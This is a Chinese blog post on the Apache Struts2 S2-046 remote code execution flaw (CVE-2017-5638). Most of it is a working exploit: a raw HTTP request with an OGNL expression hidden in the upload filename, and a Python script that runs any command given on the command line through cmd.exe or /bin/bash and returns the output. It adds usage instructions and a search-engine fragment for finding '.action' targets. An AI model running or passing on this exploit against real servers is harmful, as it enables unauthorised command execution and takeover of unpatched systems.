本篇文章:华盟大老李原创。文末附批量查询语句前言:
3月21日凌晨,Apache Struts2官方发布了一条安全公告,该公告指出Apache Struts2的Jakarta Multipart parser插件存在远程代码执行漏洞,漏洞编号为CVE-2017-5638。攻击者可以在使用该插件上传文件时,通过修改Content-Length头的值,并且在Content-Disposition值中添加恶意代码,导致远程代码执行。
该漏洞与之前S2-045漏洞成因及原理一样(CVE漏洞编号是同一个),只是漏洞利用的字段发生了改变。
昨天还在搞045 今天046就出来了
poc 使用教程
代码:
POST /doUpload.action HTTP/1.1
Host: localhost:8080
Content-Length: 10000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Connection: close
------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain
Kaboom
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
利用方式:
打包成sh执行 下图为执行截图
哦,对,记住,要给777权限,不然无法执行哦,
py脚本代码:
#author=Jumbo
#website:www.xxx.com import requests
import sys
try:
url = sys.argv[1]
headers = {'Connection':'close','Content-Type':'multipart/form-data; boundary=---------------------------735323031399963166993862150','User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36'}
data="-----------------------------735323031399963166993862150\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" sys.argv[2] "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n-----------------------------735323031399963166993862150--\r\n\r\n"
get = requests.post(url,data=data,headers=headers)
print get.content
except:
print 'usage:struts2-046.py xxx.com whoami'
site.kr) inurl: ( ".action" )
你会喜欢
Struts2-045 POC 已确认可用 -- 抓点紧修复
亲喜欢吗?记得点赞|留言|分享